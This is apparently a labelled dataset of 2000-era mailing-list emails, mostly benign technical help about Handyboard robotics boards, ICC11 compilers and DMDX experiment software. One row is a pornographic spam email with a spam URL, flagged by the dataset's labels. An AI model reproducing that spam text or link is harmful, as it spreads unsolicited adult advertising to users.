hot. Start with the voltage regulator, it gets warm but should not be so hot that you cannot touch it. Then feel the caps, if one is backwards they you can get a nice blister on your finger from it. Feel the ICs for one to be getting hot. Then check all your solder joints slowly and methodically. Finally, start pulling chips and swapping them from a known good board. Somewhere in the course of this, you'll find the problem.... probably. Good luck, Gary Livick ",0,0 Pat Leang ,handyboard@media.mit.edu,"Wed, 04 Oct 2000 19:05:35 +0000",external power,"i was wondering if i can modify the handyboard to accept a secondary power supply for the motors and still use the expansion board at the same time. if there is anything else i need to know or do, i would greatly appreciate hearing about it. thank you. ",0,0 """Marco A. A. de Oliveira"" ",Richard Giuly ,"Wed, 04 Oct 2000 13:24:35 -0600",Re: Multiple GP2D02 range sensors,"Greetings, Richard Giuly wrote: > I would like to connect multiple (two to four) GP2D02 range sensors to > my handyboard. Will each need to have is own timing signal or can they > share somehow. If each does need a signal, how many can I connect? > Should I get an Expansion Board? > > any help is appreciated From what I could understand from the documentation (http://www.sharp.co.jp/ecg/pdf/sys/gp2d02.pdf), you could use one timing signal for all of them, as long as each sensor is connected to its own output line (to which the sensor would serially output its 8 bit value). Since there are 8 digital input pins and one digital output pin on the HandyBoard, you should not have any problems hooking up several sensors. On the other hand, there might be some timing issues in the software regarding reading several digital inputs simultaneously. I haven't actually hooked multiple GP2D02's up myself, though. Good luck. Marco A.A. de Oliveira assfalk@eece.unm.edu ------------------------------------------------------------ Project Supervisor/PhD student UNM ACE Center Cooperative Robotics Project EECE Bldg. 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Since I am using a 9.6v nicad pack as an external battery it causes no problems but if you want to use a higher or lower voltage external battery you would then have to consider the effect on the servo and Lego ports. Hope this is helpful. ",0,0 Ray Tang ,handyboard@media.mit.edu,"Thu, 05 Oct 2000 02:49:39 +0000",communication via serial port,"Hi, This isn't an off topic question... Has anyone tried programming the serial port (on Linux) to communicate with the Handyboard? I am working on an RF link between the Handyboard and a PC via serial communication, but I don't know much about serial port programming. Most (yeah, I have searched around the internet a lot) of the info I got from the internet is not very helpful. Can anyone point me in a good direction (a book, a sample code may be)... All I want is to be able to read and write to a serial port... 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E.g. a simple program like: void test3(){ while (1){ if (digital(10)) printf(""10 is active!""); else{ printf(""10 is not active!""); } } never sees the input. Now here's the strange thing, I can use the DOS version of IC (from the latest Gleason Research CD), load the same file in to the handy board and it'll work! I've been able to duplicate this odd behavior with multiple boards. The README for the linux version of IC says it's intended to work with handyboard version 2. Does this mean it won't work with version 1.2? I have a guess that this has to do with the libraries and drivers, but I'm not sure. The board has IC v2.81, v1.21 is stamped on the bottom left, and I'm using the expansion board as well. System is RedHat 6.1. The IC files are from ic-src-2.860-beta ",0,0 Stefano Falconetti ,"Ray Tang , handyboard@media.mit.edu","Thu, 05 Oct 2000 09:14:01 +0200",R: communication via serial port,"Using java and comm API ? ----- Original Message ----- From: Ray Tang To: Sent: Thursday, October 05, 2000 4:49 AM Subject: communication via serial port > Hi, > This isn't an off topic question... > Has anyone tried programming the serial port (on Linux) to communicate > with the Handyboard? I am working on an RF link between the Handyboard and > a PC via serial communication, but I don't know much about serial port > programming. Most (yeah, I have searched around the internet a lot) of the > info I got from the internet is not very helpful. Can anyone point me in a > good direction (a book, a sample code may be)... All I want is to be able > to read and write to a serial port... > Thanks. > > -- > > Ray",0,0 Michael Lim ,handyboard@media.mit.edu,"Thu, 05 Oct 2000 07:31:41 +0000",serial communication,"Hi.. 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Now I can't even get a short program to go more than about 64 bytes in before freezing or erroring out. I got the dlm code from Fred Martin's current Miniboard site. Has anyone seen this before? I really like the simplicity of this downloader but I beginning to wonder where it sets internal EEPROM to be or if the 811E2 has EEPROM defaulted to a different location than dlm expects... thanks for the help, Dennis Clark ",0,0 Dennis Clark ,handyboard@media.mit.edu,"Thu, 05 Oct 2000 14:48:16 +0000",Freeware ICC11 and bad iasm11.exe?,"Me again, I just got the ICC11 freeware from the Miniboard site and installed it, moving the crt.s over as it says to do in the docs, etc. I tried to compile the test compile of icc11 dhry.c printf.c and got a LOT of ""phasing"" errors, whatever that means. The docs say that this is caused by a problem with the current (at that time) iasm11.exe program and that an older one is on the site to replace it with that doesn't have that problem. However, the ""older"" version on the site is the exact same version and has the exact same problem. Does anyone have such a version that does not get this ""phasing"" error? Where can I get it? Or, should I just spring the $50 for the ICC11 code that is commercially available, hmm, is it still just $50? Help! I'm ready to ditch this board of so many problems... thanks, Dennis Clark (DLC) ",0,0 James Munro ,handyboard@media.mit.edu,"Thu, 05 Oct 2000 14:57:12 +0000",Re: Miniboard download random failures,"> baud download runs and will fail in random locations with ""read xx"", ""expected > YY"". The failure occurs at random times with random values. What should I > make of this? Once I was able to download all of HEXMON successfully, but > while running Hyperterm I never got the "">"" when reset was pressed on the > board so I don't think it really worked. Now I can't even get a short > program to go more than about 64 bytes in before freezing or erroring out. Are you running DLM from a dos window in Win9x? I've had this problem but it usually stops when I run it in DOS. Just a thought. -Jim Munro",0,0 Dennis Clark ,handyboard@media.mit.edu,"Thu, 05 Oct 2000 16:28:18 +0000",Re: Miniboard download random failures,"In lugnet.robotics.handyboard, James Munro writes: >> baud download runs and will fail in random locations with ""read xx"", ""expected >> YY"". The failure occurs at random times with random values. What should I >> make of this? Once I was able to download all of HEXMON successfully, but >> while running Hyperterm I never got the "">"" when reset was pressed on the >> board so I don't think it really worked. Now I can't even get a short >> program to go more than about 64 bytes in before freezing or erroring out. > >Are you running DLM from a dos window in Win9x? I've had this problem but >it usually stops when I run it in DOS. James, Yes, I am running from a DOS window in W9X. Do I have to boot to DOS mode to correct for this? Uhm, I'm a Mac person, so, have patience, how does one boot to DOS instead of Win95? thanks, DLC ",0,0 Kelli Colbert ,DMDX@psy1.psych.arizona.edu,"Fri, 06 Oct 2000 09:35:17 -0400",Young better-looking virgiins at harrdcore Pornno.," delicious russiaan Hussy in ponoo! http://taxfreegame.info/psshemales.htm?iSPhfd.fX,hj U,N,S,U,B,$,C,,R,l,B,E http://taxfreegame.info ",1,1 Dennis Clark ,handyboard@media.mit.edu,"Fri, 06 Oct 2000 04:39:32 +0000",More on Miniboard woes and woohoos.,"Hi again, Thanks to those who sent suggestions. Running in DOS mode, not W95 dlm does work just fine. Ick. Oh well. Anyway, I thought that 2K of EEPROM would be enough to do something with, and it may be, but probably not in ICC - The printf.c code's s19 file goes from $F800 to $FFDF, I guess that printf is NOT a feature to use on the Miniboard, either that or the overhead of ICC takes up most of the available space, whatever. It still works for some simple stuff just fine. Now if I could find a W95 based dlm, it would be even better. have fun, DLC http://www.verinet.com/~dlc/botlinks.htm ",0,1 """J. Dosher"" ",handyboard@media.mit.edu,"Fri, 06 Oct 2000 04:54:13 +0000",Linux and handyboard help!,"Hi all, HELP! I seem to be having some strange behavior using IC under linux. For some unexplainable reason, when using IC under linux to load a file onto the handyboard, the board's digital inputs don't respond. I can take the same board and the same program, use IC under NT or DOS and the inputs work. Does anyone have any idea what I'm doing wrong here?? specs: RedHat 6.1 Handyboard v1.21, running IC v2.81 with expansion board ________________________________________ Jesse Dosher, K7DSP University of Washington, Dept. of Electrical Engineering, BioRobotics Lab http://brl.ee.washington.edu/ _______________________________________ ",0,1 Chuck McManis ,"Dennis Clark , handyboard@media.mit.edu","Thu, 05 Oct 2000 22:15:58 -0700",Re: More on Miniboard woes and woohoos.,"If you upgrade to the commercial version of icc11 not only do you get a downloader that works under windows 9x but also very nice library interface. (disclaimer: I wrote the library :-) In general on embedded systems you _don't_ want to use printf, way more features than you need. Try using ""puts()"" to print strings and printdec(int x) to print a decimal number. Between the two of them you can write some really tight code. --Chuck At 04:39 AM 10/6/00 +0000, Dennis Clark wrote: >Hi again, > > Thanks to those who sent suggestions. Running in DOS mode, not W95 dlm >does work just fine. Ick. Oh well. Anyway, I thought that 2K of EEPROM >would be enough to do something with, and it may be, but probably not in >ICC - The printf.c code's s19 file goes from $F800 to $FFDF, I guess that >printf is NOT a feature to use on the Miniboard, either that or the overhead >of ICC takes up most of the available space, whatever. It still works for >some simple stuff just fine. Now if I could find a W95 based dlm, it would >be even better. > >have fun, >DLC >http://www.verinet.com/~dlc/botlinks.htm ",0,1 Chuck McManis ,"""J. Dosher"" , handyboard@media.mit.edu","Thu, 05 Oct 2000 22:35:45 -0700",Re: Linux and handyboard help!,"Do an ic -config and check to see what library it downloads, make sure its the handyboard library and the 6.270 board library. --Chuck At 04:54 AM 10/6/00 +0000, J. Dosher wrote: >Hi all, >HELP! >I seem to be having some strange behavior using IC under linux. For some >unexplainable reason, when using IC under linux to load a file onto the >handyboard, the board's digital inputs don't respond. I can take the same >board and the same program, use IC under NT or DOS and the inputs >work. Does anyone have any idea what I'm doing wrong here?? > >specs: >RedHat 6.1 >Handyboard v1.21, running IC v2.81 with expansion board > >________________________________________ >Jesse Dosher, K7DSP >University of Washington, Dept. of Electrical >Engineering, >BioRobotics Lab http://brl.ee.washington.edu/ >_______________________________________ ",0,1 James Munro ,handyboard@media.mit.edu,"Fri, 06 Oct 2000 13:42:41 +0000",Re: More on Miniboard woes and woohoos.,"> In general on embedded systems you _don't_ want to use printf, way more > features than you need. Try using ""puts()"" to print strings and > printdec(int x) to print a decimal number. Between the two of them you can > write some really tight code. I didn't think printf() was even available on the shareware (old) version of icc? ",0,0 Dennis Clark ,handyboard@media.mit.edu,"Fri, 06 Oct 2000 14:26:10 +0000",Re: More on Miniboard woes and woohoos.,"In lugnet.robotics.handyboard, James Munro writes: >> In general on embedded systems you _don't_ want to use printf, way more >> features than you need. Try using ""puts()"" to print strings and >> printdec(int x) to print a decimal number. Between the two of them you can >> write some really tight code. > >I didn't think printf() was even available on the shareware (old) version >of icc? I'm hitting two posts at once here... James, It came as a printf.c file with the freeware ICC11 compiler on the Miniboard site. I was curious as it was to be used with the dhry.c code Richard Mann included. However, that dhry.c code when I tried to compile it gave ""phasing"" errors, about which I have no clue as none of the code that I have written gave those errors... Chuck, I later went through the miniboard library and found the routines there for serial output, they are all I'd need from an embedded app anyway, you are correct. Are you saying that the current commercial ICC11 has the Miniboard libraries and a dlm that works with the oddball serial comm port? Another item that I've wondered about with the freeware ICC11 is just where it puts the stack and variable space (only 256 bytes anyway) and how tight a code it generates - it seems as if 1/3 of any Miniboard download is always the same code (crt.s?). Regardless, I've found my current setup ""way cool"", I'd love the commercial ICC11 but would find it hard to justify a $200 compiler for a board that cost me $40 to build. If ICC11 also worked with my Marvin Green Botboard 2 (which only cost me $30 to build) I might consider it, but the BB2 has such a different memory map that I don't think the libs would be of any value to me. Am I incorrect there? thanks all, DLC ",0,0 """J. Dosher"" ",Chuck McManis ,"Fri, 06 Oct 2000 09:50:20 -0700",Re: Linux and handyboard help!,"Chuck, here's the results from ic -config: jdosher@keynes:~...ic/ic:8# ./ic -config Interactive C for 6811. Version 2.860 BETA (Oct 4 2000) IC written by Randy Sargent and Anne Wright. Copyright 1994. (uses board pcode by R. Sargent, F. Martin, and A. Wright) WARNING: this version is under construction and may not work! This program is freeware and unsupported. It is provided as a service to hobbyists and educators. Type 'about' for information about support and obtaining newer versions of IC. Backing up ./ic to ./ic.bak Done Default editor: emacs Directory where libraries reside: /usr/local/lib/ic/ Default library file (blank for none): /usr/local/lib/ic/lib_r22.lis Default serial device name (in theform /dev/*): /dev/ttys1 Finished configuring ______ is lib_r22.lis correct? I don't see much other information here except the version number. ",0,0 """J. Dosher"" ",Chuck McManis ,"Fri, 06 Oct 2000 11:39:47 -0700",Re: Linux and handyboard help!,"I got it!! Thanks! I was loading the wrong library. I had the correct library in the directory, but I hadn't run ic -config and changed it. Thanks again. ________________________________________ Jesse Dosher, K7DSP University of Washington, Dept. of Electrical Engineering, BioRobotics Lab http://brl.ee.washington.edu/ ________________ Homepage: students.washington.edu/~jdosher ""Quid riddes? De te fabula narratur."" -Ovid _______________________________________ On Fri, 6 Oct 2000, Chuck McManis wrote: > Do an ic -config and check to see what library it downloads, make sure its > the handyboard library and the 6.270 board library. > --Chuck > > At 04:54 AM 10/6/00 +0000, J. Dosher wrote: > >Hi all, > >HELP! > >I seem to be having some strange behavior using IC under linux. For some > >unexplainable reason, when using IC under linux to load a file onto the > >handyboard, the board's digital inputs don't respond. I can take the same > >board and the same program, use IC under NT or DOS and the inputs > >work. Does anyone have any idea what I'm doing wrong here?? > > > >specs: > >RedHat 6.1 > >Handyboard v1.21, running IC v2.81 with expansion board > > > >________________________________________ > >Jesse Dosher, K7DSP > >University of Washington, Dept. of Electrical > >Engineering, > >BioRobotics Lab http://brl.ee.washington.edu/ > >_______________________________________ > ",0,1 """Richard F. Man"" ",handyboard@media.mit.edu,"Sat, 07 Oct 2000 06:13:37 +0000",Re: More on Miniboard woes and woohoos.,"The current version of ICC11 has a builtin downloader that talks to MB. Only for W95/NT/... though. ICC11 works with just about ANY HC11 boards, minus lack of support for paging. Dennis Clark wrote: > Chuck, > > I later went through the miniboard library and found the routines there > for serial output, they are all I'd need from an embedded app anyway, you > are correct. Are you saying that the current commercial ICC11 has the > Miniboard libraries and a dlm that works with the oddball serial comm port? > Another item that I've wondered about with the freeware ICC11 is just where > it puts the stack and variable space (only 256 bytes anyway) and how tight > a code it generates - it seems as if 1/3 of any Miniboard download is always > the same code (crt.s?). Regardless, I've found my current setup ""way cool"", > I'd love the commercial ICC11 but would find it hard to justify a $200 > compiler for a board that cost me $40 to build. If ICC11 also worked with > my Marvin Green Botboard 2 (which only cost me $30 to build) I might consider > it, but the BB2 has such a different memory map that I don't think the libs > would be of any value to me. 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",DMDX@psy1.psych.arizona.edu,"Tue, 10 Oct 2000 20:17:01 -0700",[DMDX] Re: getting accuracy in data files,"At 08:05 PM 10/10/00 -0700, you wrote: >I've been developing an experiment using conditional branching to jump back >to an earlier trial if the subject performs with less than 75% accuracy >on each section of 4 trials. I get a printout of the accuracy in the window >immediately after clicking to save the data, but the .zil file that is created >only gives the RT and not the accuracy. Is there a command I can use in >the parameter line to have the .zil file give accuracy before each conditional >branch decision that is based on accuracy? No such luck I'm afraid but it's a good idea. Unfortunately it will probably break old .zil file parsers. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Kovac's Conundrum: When you dial a wrong number, you never get a busy signal. ",0,0 vholmes@post.psych.unimelb.edu.au,DMDX@psy1.psych.arizona.edu,"Wed, 11 Oct 2000 17:13:18 +1000",[DMDX] Ratings,"Dear Jonathan Please excuse what is probably a terribly simple question. I'm trying to make for the first time a dmdx file to run a simple experiment using the zillion option. It's a rating experiment, so I just want the subject to be able to read a single item and then respond with any one of 5 keys (the numbers one to five). The item should stay on the screen for up to 30 seconds till the subject responds, but I've put time at one second for the moment while I'm trying to make it work. I've attached the practice file that I'm using. Many thanks for your help. Virginia ",0,0 bahador bahrami ,DMDX@psy1.psych.arizona.edu,"Wed, 11 Oct 2000 09:08:17 +0000",[DMDX] Setting up the mouse,"Dear friends, I have been trying to set up a visual search paradigm using DMDX but when I want set the mouse as my input device, I keep receiving this error: Button name <+button 2> not found on input devices I have included my parameter line so that you could help with what is wrong with it: N16 f38 d150 <+button 2> By the way, what should I write to assure requesting to start at the beginning of each block? Sincerely, Bahador _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com.",0,1 Cheryl Frenck-Mestre ,DMDX@psy1.psych.arizona.edu,"Wed, 11 Oct 2000 13:05:52 +0200",,"Hello out there. Has anyone tried to run dmdx, using Win 98/Office 2000, in FRENCH, with a keyboard (or even mouse) as the input device and been successful? I have tried all possible versions of , case sensitive/insensitive, quotes/no quotes, with an added mpr and mnr/without them, and still cannot get anywhere. The RTF program will run in the diagnostic mode just fine. It hangs however if asked to query the keyboard. Any useful info would be greatly appreciated. Cheryl Cheryl Frenck-Mestre, PhD CNRS - Laboratoire Parole et Langage Université de Provence 29 av. Robert Schuman 13621 Aix-en-Provence, Cedex 02 France FAX (33)04-42-20-59-05 (from outside France, drop the first 0) TEL (33)04-42-95-37-46 (from outside France, drop the first O)",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Wed, 11 Oct 2000 18:33:42 +0200",[DMDX] trigerring,"How trigerring is possible with DMDX ?? Thanks for replying ASAP Kind regards Jean-Francois NEDELEC -- -- INSTITUTE FOR RESEARCH IN NEUROSCIENCE AND PSYCHIATRY -- -- | | Jean-Francois Nedelec, Ph.D. FORENAP Association MR-Center 27, rue du 4ème RSM F-68250 Rouffach France Fax: (33) 3 89 78 51 24 Phone: (33) 3 89 78 71 70 dir (33) 3 89 78 71 65 sec. MRI (33) 3 89 78 70 18 sec. General (33) 3 89 78 70 18 (ask 67 51) MRI Room Email: jnedelec@forenap.asso.fr | | -- -- ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 11 Oct 2000 09:57:20 -0700",[DMDX] Re: Setting up the mouse,"At 09:08 AM 10/11/00 +0000, you wrote: >Dear friends, >I have been trying to set up a visual search paradigm using DMDX but when >I want set the mouse as my input device, I keep receiving this error: >Button name <+button 2> not found on input devices Is that an error or just a warning? The code by default maps responses for a three button mouse, if it doesn't find the key it simply prints a message that it couldn't find it. >I have included my parameter line so that you could help with what is >wrong with it: > N16 f38 d150 000255000> <+button 2> That would be a syntax error. For a start you shouldn't need to specify anything about <+button 2>, and even if you did it would have to be some command to unmap it, but the damage is done by that time anyway. You should be fine, just ignore the message about the missing button. >By the way, what should I write to assure requesting to start at the >beginning of each block? Easiest solution when using is to include and instruction at the beginning of each block with dollars around it to stop it being scrambled: $ 0 ""press the spacebar to continue"";$ -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Kovac's Conundrum: When you dial a wrong number, you never get a busy signal.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 11 Oct 2000 10:02:05 -0700",[DMDX] Re: Frech Keyboard woes,"At 01:05 PM 10/11/00 +0200, you wrote: >Hello out there. Has anyone tried to run dmdx, using Win 98/Office 2000, in >FRENCH, with a keyboard (or even mouse) as the input device and been >successful? I have tried all possible versions of , case >sensitive/insensitive, quotes/no quotes, with an added mpr and mnr/without >them, and still cannot get anywhere. The RTF program will run in the >diagnostic mode just fine. It hangs however if asked to query the keyboard. >Any useful info would be greatly appreciated. Hangs as in locks up completely and the machine has to be reset or hangs in the case of providing an error message? There are a couple of things I'd try, first is try the TimeDX keyboard test, actually run it and press keys to make sure TimeDX can acquire the and get input from the keyboard. If that fails the next step is to install another version of DirectX, perhaps the one you have is busted somehow. Should TimeDX succeed (and DMDX actually be hanging) I'll have to cook up a passpoint version of the latest DMDX and see if that can tell me anything. You have tried the latest version of the code I suppose? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Kovac's Conundrum: When you dial a wrong number, you never get a busy signal.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 11 Oct 2000 10:02:58 -0700",[DMDX] Re: trigerring,"At 06:33 PM 10/11/00 +0200, you wrote: >How trigerring is possible with DMDX ?? Triggering what? Triggering DMDX? Triggering another piece of equipment? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Kovac's Conundrum: When you dial a wrong number, you never get a busy signal. ",0,0 Chen Yung Hsu ,handyboard@media.mit.edu,"Wed, 11 Oct 2000 17:58:30 -0400",re: MCI commands in Visual C++,"hi everyone, ok this is off the topic but i'm hoping someone can help. i can play .wav files using the Multimedia control interface in Visual c++, the only problem is i can't figure out a way to play without having to rewind the .wav file every time. can someone help please? thanx in advance sincerely, C ",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 14:43:19 +0200",[DMDX] Re:FrenchWin98 ,"Cheryl Frenck-Mestre wrote: > Hello out there. Has anyone tried to run dmdx, using Win 98/Office 2000, in > FRENCH, with a keyboard (or even mouse) as the input device and been > successful? I have tried all possible versions of , case > sensitive/insensitive, quotes/no quotes, with an added mpr and mnr/without > them, and still cannot get anywhere. The RTF program will run in the > diagnostic mode just fine. It hangs however if asked to query the keyboard. > Any useful info would be greatly appreciated. > > Cheryl > > Cheryl Frenck-Mestre, PhD > CNRS - Laboratoire Parole et Langage > Université de Provence > 29 av. Robert Schuman > 13621 Aix-en-Provence, Cedex 02 > France > > FAX (33)04-42-20-59-05 (from outside France, drop the first 0) > TEL (33)04-42-95-37-46 (from outside France, drop the first O) > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== I am not using Win98 with French Keyboard/mouse You have to check carefully what is the name of each key using TimeDx+Inputdevice Here is the syntax I am using successfully < mpt +Maj droit> .. Two important things I found out : space (i.e in between Maj abd gauche) you should change all french quotation marks to english quotqtion marks "" "" Hope this will help - Let me know Jean-Francois Nedelec, Ph.D. FORENAP MR-Center 27, rue du 4ème RSM F-68250 Rouffach France Fax: (33) 3 89 78 51 24 Phone: (33) 3 89 78 71 70 dir (33) 3 89 78 71 65 sec. MRI (33) 3 89 78 70 18 sec. General (33) 3 89 78 70 18 (ask 67 51) MRI Room Email: jnedelec@forenap.asso.fr",0,1 Cheryl Frenck-Mestre ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 13:12:53 +0200",[DMDX] Re: Frech Keyboard woes,"Hello again. I have indeed run the TimeDx keyboard test. The keyboard is known by my machine as ""Clavier"" When I run the test, the typed keys get highlighted. Should there be more than that? Note that the values of the keys are those of an ENGLISH keyboard which is rather odd given that my keyboard is parameterised for FRENCH. I already tried writing Clavier using the English keyboard, I get no better luck. What I mean by hanging is that the message to press a key pops up, but then it goes no further. I have to escape out of the program. None of the keys on the board respond aside from the escape key. My mouse aka Souris, also responds under TimeDx but not when I try to use it as a response device. I am using version 2.1.00 of DMDX. Perhaps a lower version would work better? Cheryl Cheryl Frenck-Mestre, PhD CNRS - Laboratoire Parole et Langage Université de Provence 29 av. Robert Schuman 13621 Aix-en-Provence, Cedex 02 France FAX (33)04-42-20-59-05 (from outside France, drop the first 0) TEL (33)04-42-95-37-46 (from outside France, drop the first O) ",0,0 Cheryl Frenck-Mestre ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 13:14:46 +0200",[DMDX] Re: Frech Keyboard woes,"When you dial a wrong number, you never get a busy signal. This is an unverifiable statement... Unless you use dialback, of course. Cheryl Frenck-Mestre, PhD CNRS - Laboratoire Parole et Langage Université de Provence 29 av. Robert Schuman 13621 Aix-en-Provence, Cedex 02 France FAX (33)04-42-20-59-05 (from outside France, drop the first 0) TEL (33)04-42-95-37-46 (from outside France, drop the first O) ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 12:15:51 +0100",[DMDX] Re: Frech Keyboard woes,"At 13:14 12/10/00 +0200, you wrote: >When you dial a wrong number, you never get a busy signal. > > This is an unverifiable statement... Unless you use dialback, of course. I always make sure I am on the phone when incorrect calls come in, that way sparing myself the annoyance of dealing with them. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 15:20:13 +0200",[DMDX] Re:FrenchKeyboardwoes,"Cheryl Frenck-Mestre wrote: > Hello again. > I have indeed run the TimeDx keyboard test. The keyboard is known by > my machine as ""Clavier"" When I run the test, the typed keys get highlighted. > Should there be more than that? Note that the values of the keys are those > of an ENGLISH keyboard which is rather odd given that my keyboard is > parameterised for FRENCH. I already tried writing Clavier using the English > keyboard, I get no better luck. > What I mean by hanging is that the message to press a key pops up, > but then it goes no further. I have to escape out of the program. None of > the keys on the board respond aside from the escape key. > > My mouse aka Souris, also responds under TimeDx but not when I try > to use it as a response device. > > I am using version 2.1.00 of DMDX. Perhaps a lower version would > work better? > > Cheryl > > Cheryl Frenck-Mestre, PhD > CNRS - Laboratoire Parole et Langage > Université de Provence > 29 av. Robert Schuman > 13621 Aix-en-Provence, Cedex 02 > France > > FAX (33)04-42-20-59-05 (from outside France, drop the first 0) > TEL (33)04-42-95-37-46 (from outside France, drop the first O) > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== Iam also running DMDX 2.1.00 Did you see my comments ?? Declare with English quotations marks not French .... and check carefully the space in between words when existed !!! Cheers Jean-Francois Nedelec, Ph.D. FORENAP MR-Center 27, rue du 4ème RSM F-68250 Rouffach France Fax: (33) 3 89 78 51 24 Phone: (33) 3 89 78 71 70 dir (33) 3 89 78 71 65 sec. MRI (33) 3 89 78 70 18 sec. General (33) 3 89 78 70 18 (ask 67 51) MRI Room Email: jnedelec@forenap.asso.fr",0,1 Cheryl Frenck-Mestre ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 14:54:01 +0200",[DMDX] Re: French (ALL FOREIGN) Keyboard SOLUTION,"RECTIFICATION! I went back and tried something. I wrote the header line with my French keyboard, and the program works. So, the quotes CAN be typed with the French keyboard, although indeed they should be """" not the curly funny ones that you get with the auto-correction. SO, why was I not getting any response from my keyboard? The answer lies in parameters. I parameterized the yes(mpr ) and no (mnr )keys, but not the request (mr). When I copied the line from Jean-Francois Nedelec's message, I copied the (mr +Espace) parameter too. AND, it worked. To summarize, if your keyboard is other than English, you must parameterize all three values (mr; mpr; mnr) with the names of keys that your TimeDx test recognizes on your keyboard. Ditto for that little plastic thing that someone once named a ""mouse."" Thanks for the help and hope this too will be of use, Cheryl At 13:12 12/10/00 +0200, you wrote: >Hello again. > I have indeed run the TimeDx keyboard test. The keyboard is known by >my machine as ""Clavier"" When I run the test, the typed keys get highlighted. >Should there be more than that? Note that the values of the keys are those >of an ENGLISH keyboard which is rather odd given that my keyboard is >parameterised for FRENCH. I already tried writing Clavier using the English >keyboard, I get no better luck. > What I mean by hanging is that the message to press a key pops up, >but then it goes no further. I have to escape out of the program. None of >the keys on the board respond aside from the escape key. > > My mouse aka Souris, also responds under TimeDx but not when I try >to use it as a response device. > > I am using version 2.1.00 of DMDX. Perhaps a lower version would >work better? > > Cheryl > > > > >Cheryl Frenck-Mestre, PhD >CNRS - Laboratoire Parole et Langage >Université de Provence >29 av. Robert Schuman >13621 Aix-en-Provence, Cedex 02 >France > >FAX (33)04-42-20-59-05 (from outside France, drop the first 0) >TEL (33)04-42-95-37-46 (from outside France, drop the first O) > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > Cheryl Frenck-Mestre, PhD CNRS - Laboratoire Parole et Langage Université de Provence 29 av. Robert Schuman 13621 Aix-en-Provence, Cedex 02 France FAX (33)04-42-20-59-05 (from outside France, drop the first 0) TEL (33)04-42-95-37-46 (from outside France, drop the first O) ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 09:30:57 -0700",[DMDX] Re: Frech Keyboard woes,"At 01:12 PM 10/12/00 +0200, you wrote: >Hello again. > I have indeed run the TimeDx keyboard test. The keyboard is known by >my machine as ""Clavier"" When I run the test, the typed keys get highlighted. >Should there be more than that? Nope, that's all we're looking for, means the code works. >Note that the values of the keys are those >of an ENGLISH keyboard which is rather odd given that my keyboard is >parameterised for FRENCH. I already tried writing Clavier using the English >keyboard, I get no better luck. > What I mean by hanging is that the message to press a key pops up, >but then it goes no further. I have to escape out of the program. None of >the keys on the board respond aside from the escape key. Yeah, well that's not quite my definition of ""hang"" but I can excuse you calling it a hang, it's not so much the program hanging as your item file hangs. It simply means that the program has no valid definitions of input keys so it's going to wait forever. > My mouse aka Souris, also responds under TimeDx but not when I try >to use it as a response device. > > I am using version 2.1.00 of DMDX. Perhaps a lower version would >work better? Nope. As noted by Jean-Francois Nedelec there seems to be some sort of quotation screwup occuring, perhaps you french guys could send me one of your .RTF item files and I can add the french version of quotes to it so stop this happening again. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why did the Roman Empire collapse? What's the Latin for office automation? ",0,0 bahador bahrami ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Oct 2000 16:55:20 +0000",[DMDX] Re: Setting up the mouse,"Dear Jonathan, I am the one who is setting up a visual search paradigm with mouse as the input device. I have set my parameter line as below: N16 f38 d150 And in order to start each block �as you had suggested- I have included the following: $ 0 ""Press spacebar to continue""; $ I have a question now and that is: if I have set the mouse as input device, then it wouldn�t be logical to expect the block to start through pushing the sapcebar on the �keyboard�. Does DMDX support both devices at the same time? The fact is, everything goes fine and the sentence �Press spacebar to start� appears in the display alright but pushing the spacebar or any other key (on the keyboard) or any buttons on the mouse won�t take any effect until I stop the DMDX processing by Esc, and then the last line in the report window clearly denotes the initiation of scrambling and even the first (randomly chosen) line to be processed is selected and the corresponding image is buffered. Another problem of mine is that I currently do not have a three-button mouse. Do you think it would interrupt the item file from being processed? Sincerely, Bahador Bahrami 